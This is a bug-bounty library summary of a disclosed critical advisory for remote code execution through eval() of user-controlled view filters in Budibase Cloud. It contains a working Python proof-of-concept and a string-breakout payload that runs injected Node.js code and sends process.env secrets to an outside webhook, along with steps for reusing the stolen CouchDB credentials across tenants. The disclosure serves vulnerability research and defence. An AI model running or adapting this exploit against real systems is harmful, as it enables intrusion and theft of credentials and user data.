# Budibase: Remote Code Execution via Unsafe eval() in View Filter Map Function (Budibase Cloud)

Budibase Cloud evals user-controlled view filter map functions, letting any authenticated user run JS on the app-service pod and steal platform secrets.

- Payout: Research
- Severity: critical
- Program: Budibase Cloud
- Found by: vicevirus
- Disclosed: 2026-02-25
- CVE: CVE-2026-27702
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-rvhr-26g4-p2r8
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-rvhr-26g4-p2r8
- Tags: area:web domain:web impact:ato impact:data-leak impact:rce kind:research platform:ghsa sev:critical tech:nodejs technique:source-review vuln:command-injection vuln:rce

**Target:** Node.js app-service pod / /api/views endpoint
**Root cause:** runView() concatenates user-controlled view.map into a string passed to eval(), and the cloud path uses in-memory PouchDB views instead of native CouchDB design docs, so filter values reach eval unsanitized.
**Steps:**
1. Create free Budibase Cloud account, app, and table with a text field.
2. Capture `budibase:auth` JWT cookie and `x-budibase-app-id` header.
3. POST `/api/views` with `{"tableId":TABLE_ID,"name":view,"filters":[{"key":"email","condition":"EQUALS","value":payload}]}` where payload is `x" || (require('https').request({hostname:'...',path:'...',method:'POST'}).end(JSON.stringify(process.env)), true) || "`.
4. GET `/api/views/{view}` to trigger eval and exfiltrate process.env to webhook.
5. Use extracted `COUCH_DB_URL` creds to enumerate databases and read user emails.
**How found:** Code review of the cloud-only in-memory view path spotted `eval("fn = " + view?.map...)` in inMemoryView.ts and traced that view.map derives from user-supplied filter values, then confirmed the self-hosted branch avoids eval.
**Exploitation:** Any authenticated free-tier user creates a view whose filter value breaks out of the string context with `x" || (...) || "`, injecting arbitrary JS into the eval'd map function. Querying the view executes the code in the app-service pod, exfiltrating process.env (JWT_SECRET, INTERNAL_API_KEY, CouchDB admin creds, MinIO keys) to an attacker webhook; CouchDB creds then allow direct DB access across tenants.
**Escalation:** Extracted CouchDB admin credentials enabled enumeration of 489,827 tenant databases and reading user emails; non-HttpOnly `budibase:auth` cookie scoped to `.budibase.app` plus arbitrary HTML upload enables one-click ATO via XSS from attacker subdomain.
**Insight:** When a codebase has two backends for the same feature (native CouchDB views vs in-memory PouchDB), the fallback path often reimplements logic with eval/Function and is the softer target; grep for eval/Function near 'map'/'filter' and check which deployment branch reaches it.

## Proof of concept (copied exactly from the original report)

**Python PoC script creating malicious view and triggering RCE**

```
import requests, time
from urllib.parse import urlparse

# Config | CHANGE THESE
URL = "https://[YOUR-TENANT].budibase.app"
WEBHOOK = "https://webhook.site/[YOUR-WEBHOOK-ID]"
JWT = "[YOUR-JWT-TOKEN]"          # budibase:auth cookie value
APP_ID = "app_dev_[TENANT]_[APP-UUID]"  # x-budibase-app-id header
TABLE_ID = "[YOUR-TABLE-ID]"      # any table ID (e.g. ta_users)

# Payload - parses hostname/path from WEBHOOK automatically
webhook_parsed = urlparse(WEBHOOK)
view = f"RCE_{int(time.time())}"
payload = f'''x" || (require('https').request({{hostname:'{webhook_parsed.hostname}',path:'{webhook_parsed.path}',method:'POST'}}).end(JSON.stringify(process.env)), true) || "'''

# Exploit
s = requests.Session()
s.cookies.set('budibase:auth', JWT)
s.headers.update({"x-budibase-app-id": APP_ID, "Content-Type": "application/json"})

print(f"[*] Creating view...")
s.post(f"{URL}/api/views", json={"tableId": TABLE_ID, "name": view, "filters": [{"key": "email", "condition": "EQUALS", "value": payload}]})

print(f"[*] Triggering RCE...")
s.get(f"{URL}/api/views/{view}")

print(f"[+] Done! Check: {WEBHOOK}")
```

**Malicious filter value payload breaking out of string context**

```
x" || (MALICIOUS_CODE_HERE, true) || "

This payload:
- Closes the expected string context with `x"`
- Uses `||` (OR operator) to inject arbitrary code
- Returns `true` to make the filter always match
- Closes with `|| ""` to maintain valid syntax
```

